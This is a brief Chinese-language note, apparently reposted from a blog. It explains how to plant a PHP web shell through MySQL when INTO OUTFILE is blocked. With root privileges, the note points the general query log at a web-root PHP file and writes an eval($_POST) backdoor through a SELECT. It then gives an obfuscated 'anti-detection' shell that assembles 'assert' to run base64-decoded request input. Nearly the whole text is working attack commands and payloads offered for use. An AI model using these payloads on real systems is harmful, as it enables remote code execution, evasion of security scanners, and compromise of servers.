outfile被禁止,或者写入文件被拦截;
在数据库中操作如下:(必须是root权限)
show variables like ‘%general%‘; #查看配置 set global general_log = on; #开启general log模式 set global general_log_file = ‘/var/www/html/1.php‘; #设置日志目录为shell地址 select ‘<?php eval($_POST[cmd]);?>‘ #写入shell
SQL查询免杀shell的语句
SELECT "<?php $p = array(‘f‘=>‘a‘,‘pffff‘=>‘s‘,‘e‘=>‘fffff‘,‘lfaaaa‘=>‘r‘,‘nnnnn‘=>‘t‘);$a = array_keys($p);$_=$p[‘pffff‘].$p[‘pffff‘].$a[2];$_= ‘a‘.$_.‘rt‘;$_(base64_decode($_REQUEST[‘username‘]));?>"
原文地址:https://www.cnblogs.com/hookjoy/p/8589509.html
时间: 2024-10-17 12:12:37